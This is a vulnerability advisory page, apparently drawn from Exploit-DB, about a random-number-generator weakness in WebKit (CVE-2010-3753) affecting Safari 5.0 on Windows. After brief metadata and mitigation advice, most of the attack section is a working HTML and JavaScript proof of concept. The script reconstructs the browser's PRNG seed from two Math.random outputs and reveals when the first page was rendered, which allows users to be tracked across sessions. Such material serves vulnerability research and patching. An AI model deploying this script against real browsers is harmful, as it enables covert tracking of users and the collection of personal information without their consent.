Random Number Generator Weakness in WebKit

vendor:

WebKit

by:

Not mentioned

5.5

CVSS

MEDIUM

Random Number Generator Weakness

330

CWE

Product Name: WebKit

Affected Version From: Not mentioned

Affected Version To: Not mentioned

Patch Exists: YES

Related CWE: CVE-2010-3753

CPE: Not mentioned

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0892/

Other Scripts:

Platforms Tested:

2010

Random Number Generator Weakness in WebKit

Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.

Mitigation:

Upgrade to a fixed version of WebKit or apply the necessary patches or updates

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/44952/info
 
WebKit is prone to a random-number-generator weakness.
 
Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
 
Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
 
NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.
 
<html>
<body>
<script>
document.write("userAgent: "+navigator.userAgent);
</script>
<br>
<br>
<div id="foo"></div>
<form>
<input type="button"
      value="Calculate Safari 5.0 (Windows) PRNG seed and mileage"
      onClick="calc_seed()">
</form>
<script>
function calc_seed()
{
      r1=Math.random()*Math.pow(2,32);
      r2=Math.random()*Math.pow(2,32);
      H=r1;
      L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))
            & 0xFFFFFFFF;
      // 10000 is just an arbitrary limit to make sure the
      // algorithm doesn't run into an endless loop on
      // non-vulnerable browsers
      for (k=0;k<10000;k++)
      {
            L=(L-H) & 0xFFFFFFFF;
            H=(H-L) & 0xFFFFFFFF;
            H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16);
            if ((H^L)==0x49616E42)
            {
                  document.getElementById("foo").innerText=
                        "PRNG Seed: "+H+" "+
                        "(First page rendered: "+
                              (new Date(H*1000)).toString()+")\n"+
                        "PRNG mileage: "+k;
                  return;
            }
      }
      document.getElementById("foo").innerText=
            "Could not find seed\n"+
            "Are you sure it's Safari 5.0 for Windows?";
      return;
}
</script>
</body>
</html>